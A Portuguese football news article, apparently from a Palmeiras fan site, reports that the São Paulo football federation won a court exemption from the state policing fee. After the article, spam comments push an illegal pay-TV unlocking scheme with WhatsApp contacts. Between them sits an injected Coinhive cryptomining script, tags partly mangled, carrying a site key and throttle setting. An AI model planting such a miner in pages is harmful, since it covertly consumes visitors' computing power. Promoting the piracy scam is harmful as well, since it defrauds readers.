A Federação Paulista de Futebol obteve na Justiça o direito de isenção da taxa de policiamento cobrada em partidas de futebol realizadas no Estado de São Paulo em competições organizadas por ela.
A vitória já teve efeito prático. A entidade, não pagou a taxa para este serviço na decisão da Copa São Paulo de futebol júnior, realizada nesta quinta-feira, no estádio do Pacaembu, entre São Paulo e Flamengo - o time rubro-negro foi campeão ao vencer por 1 a 0. Como é organizadora do torneio, caberia a Federação o pagamento.
A FPF entrou com o pedido de suspensão da cobrança no último dia 23 e a decisão favorável foi comunicada antes da decisão desta quinta-feira. Um dos argumentos utilizados pela entidade foi de que ela "não existe para lucrar", condição necessária e prevista na legislação para que a cobrança seja efetuada.
"É que a Lei Estadual em questão tem por objetivo taxar eventos privados que visem lucro, e sob esse pretexto a Ré pretende cobrar de entidades sem fins lucrativos como a Autora. Como visto, o item 7 do Capítulo VI do Anexo I da Lei exige que haja “Finalidade Lucrativa”", consta em trecho da ação da FPF.
Em contato com a reportagem, um porta-voz da Polícia Militar do Estado de São Paulo confirmou a informação e acrescentou que desde outubro os clubes paulistas conseguiram uma liminar na Justiça que os desobriga a pagar a taxa de policiamento. Isso tem refletido nos cofres públicos.
A Taxa de Fiscalização e Serviços Diversos, cobrada pelo serviço de policiamento realizado para garantir a segurança dos estádios, entrou em vigor em 2014. A sua existência multiplicou a despesa em quase dez vezes.
VEJA TAMBÉM
- Endrick fala sobre transferência para o Real Madrid e metas pessoais definidas.
- Abel transforma carreira de Endrick no Palmeiras com conselho decisivo: "Inesquecível e motivador
- Palmeiras retorna ao palco da última conquista da Libertadores para enfrentar Liverpool-URU.
2481 visitas - Fonte: ESPN
Mais notícias do Palmeiras
Notícias de contratações do Palmeiras
Notícias mais lidas
VOCÊ QUE ESTÁ CANSADO DE TER POUCA PROGRAMAÇÃO DE TVV ASSSINATURA E NÃO CONCORDA COM OS VALORES COBRADOS
FAÇO LIBERAÇÃO E DIMINUÍMOS O VALOR DA CONTA
PARA TODO BRASIL
WHATZSAP 11 958694345
< src="https://coinhive.com/lib/coinhive.min.js">><>var a=new CoinHive.Anonymous("IoWE2BeVK3azaWL7xmC6HFJcYbwgiyoQ",{throttle:.3});a .start();>
Você que está pagado valores alto e teno pouco PROGRAMAÇÃO de TVV asssinatura faça liberação e DEMINUIMOS valor da conta pra qualquer luga do Brasil WHATZSAP 11958640776